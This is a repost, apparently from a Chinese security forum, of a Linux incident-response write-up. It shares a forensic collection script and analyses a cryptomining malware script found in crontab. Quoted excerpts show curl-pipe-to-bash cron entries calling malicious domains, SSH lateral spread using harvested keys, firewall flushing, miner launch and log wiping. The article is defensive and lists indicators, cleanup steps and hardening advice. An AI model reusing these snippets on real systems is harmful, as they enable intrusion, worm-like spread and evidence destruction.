安全矩阵

 找回密码
 立即注册
搜索
查看: 6939|回复: 0

Linux应急响应笔记

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-29 22:18:43 | 显示全部楼层 |阅读模式
原文链接:Linux应急响应笔记

背景
前一段时间我处理了一次应急响应,我还输出了一篇文章 Linux应急响应笔记。这两天又处理了一次病毒入侵,在前一次的基础上,这次应急做了一些自动化脚本,应急响应效率有了一定程度的提升,故另做一份笔记。
PS:本文重在分享应急响应经验,文中保留了恶意网址,但是删除了恶意脚本及程序的下载路径。本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。
应急操作笔记
查看我上一次 Linux应急响应笔记,我发现罗列这么多命令,很多时候眼花缭乱,操作起来也不方便,不如写个shell脚本自动化收集信息。
自动化信息收集
我的自动化手机信息的脚本如下,脚本的初衷是进行自动化信息收集,不需要我去连接到客户设备,提升操作/沟通效率。
  1. #!/bin/bash

  2. function initial(){
  3.     echo "Doing initial"
  4.     mkdir /tmp/GatherInfo   
  5.     chmod +x ./chkrootkit
  6.     chmod +x ./busybox
  7. }

  8. function chkrootkit_info(){
  9.     echo "Doing chkrootkit"
  10.     ./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1
  11. }

  12. function network_info(){
  13.     echo "Gathering network info"
  14.     netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
  15.     netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
  16. }

  17. function process_info(){
  18.     echo "Gathering process info"
  19.     ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
  20.     ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
  21.     top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1
  22. }

  23. function init_info(){
  24.     echo "Gathering init info"
  25.     chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
  26.     ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
  27. }

  28. function cron_info(){
  29.     echo "Gathering cron info"
  30.     cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
  31.     cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
  32.     crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1

  33.     cd /etc/cron.d/
  34.     cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
  35.     cd /etc/cron.daily/
  36.     cat * > /tmp/GatherInfo/etc_daily.log 2>&1
  37.     cd /etc/cron.hourly/
  38.     cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
  39.     cd /etc/cron.monthly/
  40.     cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
  41.     cd /etc/cron.weekly/
  42.     cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
  43.     cd /var/spool/cron/
  44.     cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
  45.     cd /var/spool/anacron/
  46.     cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1
  47. }

  48. function other_info(){
  49.     echo "Gathering other info"
  50.     cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1
  51.     ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
  52.     ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
  53.     ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1
  54.     echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1
  55.     cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
  56.     s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
  57.     cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1

  58.     for user in /home/*
  59.     do
  60.         if test -d $user;then
  61.             cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
  62.         fi
  63.     done
  64. }

  65. initial
  66. chkrootkit_info
  67. network_info
  68. process_info
  69. init_info
  70. cron_info
  71. other_info

  72. cd /tmp
  73. tar -zcvf GatherInfo.tar.gz GatherInfo
复制代码

信息收集结果分析
查看自动化收集的信息GatherInfo下的所有文件内容,根据下面的Checklist表项进行挨个梳理排查
应急响应检查表





在排查进程,网络时都未发现异常。在排查定时任务crontab时,发现三行异常的定时任务
  1. 59 * * * * root (curl -fsSL http://t.amynx.com/ ......
  2. 28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......
  3. 13 * * * * root ps aux|grep lplp.ackng.com ......
复制代码
我把恶意脚本获取到本地,这是一个shell脚本,接下来分析看看这个脚本干什么恶意脚本分析
恶意脚本脚本共439行代码,前面300行都是删除文件和杀死进程,我简单摘要几段代码
  1. #/bin/bash
  2. processes(){
  3.     killme() {
  4.       killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
  5.     }

  6.     killa() {
  7.     what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
  8.     }

  9.     killa 34e2fg
  10.     killme

  11.     killall \.Historys
  12.     killall \.sshd
  13.     killall neptune
  14.     killall xm64
  15.     killall xm32
  16.     killall xmrig
  17.     killall \.xmrig
  18.     killall suppoieup

  19.     # sshd
  20.     ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
  21.     while read sshdpid
  22.     do
  23.         if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
  24.         then
  25.             kill $sshdpid
  26.         fi
  27.     done < /tmp/ssdpid
  28.     rm -f /tmp/ssdpid

  29. # Removing miners by known path IOC
  30. files(){
  31.     ulimit -n 65535
  32.     rm -rf /var/log/syslog
  33.     chattr -iua /tmp/
  34.     chattr -iua /var/tmp/
  35.     chattr -R -i /var/spool/cron
  36.     chattr -i /etc/crontab
  37.     ufw disable
  38.     iptables -F
  39.     echo "nope" >/tmp/log_rot
  40.     sudo sysctl kernel.nmi_watchdog=0
  41.     echo '0' >/proc/sys/kernel/nmi_watchdog
  42.     echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  43.     rm /tmp/.cron
  44.     rm /tmp/.main
  45.     rm /tmp/.yam* -rf
  46.     rm -f /tmp/irq

  47. # Killing and blocking miners by network related IOC
  48. network(){
  49.     # Kill by known ports/IPs
  50.     netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  51.     netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

  52. files
  53. processes
  54. network
  55. echo "DONE"
复制代码
接下来是下载恶意二进制程序以及ssh横向传播
  1. 代码片段1
  2. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  3.   for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
  4. fi

  5. 代码片段2
  6. for file in /home/*
  7. do
  8.     if test -d $file; then
  9.         if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
  10.             for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
  11.         fi
  12.     fi
  13. done

  14. 代码片段3
  15.   for user in $userlist; do
  16.     for host in $hostlist; do
  17.       for key in $keylist; do
  18.         for sshp in $sshports; do
  19.           i=$((i+1))
  20.           if [ "${i}" -eq "20" ]; then
  21.             sleep 20
  22.             ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
  23.             i=0
  24.           fi
  25.           #Wait 20 seconds after every 20 attempts and clean up hanging processes

  26.           chmod +r $key
  27.           chmod 400 $key
  28.           echo "$user@$host $key $sshp"
  29.           ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
  30.         done
  31.       done
  32.     done
  33.   done
复制代码
上面这三段代码是通过ssh的证书登录方式横向感染传播。

  1. if [ ! -d "/.Xll" ];then
  2.     mkdir /.Xll
  3. fi
  4. cd /.Xll
  5. if [ ! -f "./xr" ];then
  6.     uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
  7. fi
  8. uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
复制代码
上面这段代码是下载恶意二进制程序,应该就是挖矿病毒本体。
最后是清理痕迹
  1. history -c
  2. echo 0>/var/spool/mail/root
  3. echo 0>/var/log/wtmp
  4. echo 0>/var/log/secure
  5. echo 0>/var/log/cron
  6. echo > /root/.bash_history
复制代码

清理与恢复

根据恶意脚本的逻辑,整理出清理步骤如下 1 删除crontab恶意定时任务 2 杀死./xr进程 3 删除/.Xll 目录

总结与反思病毒标识
目录及文件 /.Xll 和 /.Xll/xr
进程表示 ps aux | grep lplp.ackng.com
两个域 t.amynx.com, t.jdjdcjq.top

挖矿威胁小于勒索
每次碰到病毒入侵要应急都心惊胆颤,挖矿病毒都还好,最坏情况是重装个环境,客户的数据是安全的,如果是勒索病毒就会很棘手。
无论如何,还是尽量保证系统安全性,减小系统入侵攻击面,这样可以极大保护系统不被入侵。

防护建议
一般来说,自动化的入侵一般都是利用非常简单的漏洞,比如若口令,使用存在漏洞的组件,未授权访问等,另外一个感染病毒的方式是ssh证书认证。如上文提到的,针对ssh横向传播就有三个方式,看来这种方式还是很受青睐的。所以对于厂商来说,还是要适当的控制ssh证书登入。
最后,我把上述用到的脚本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的读者可下载使用,欢迎任何的反馈意见。





               
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 21:42 , Processed in 0.013375 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表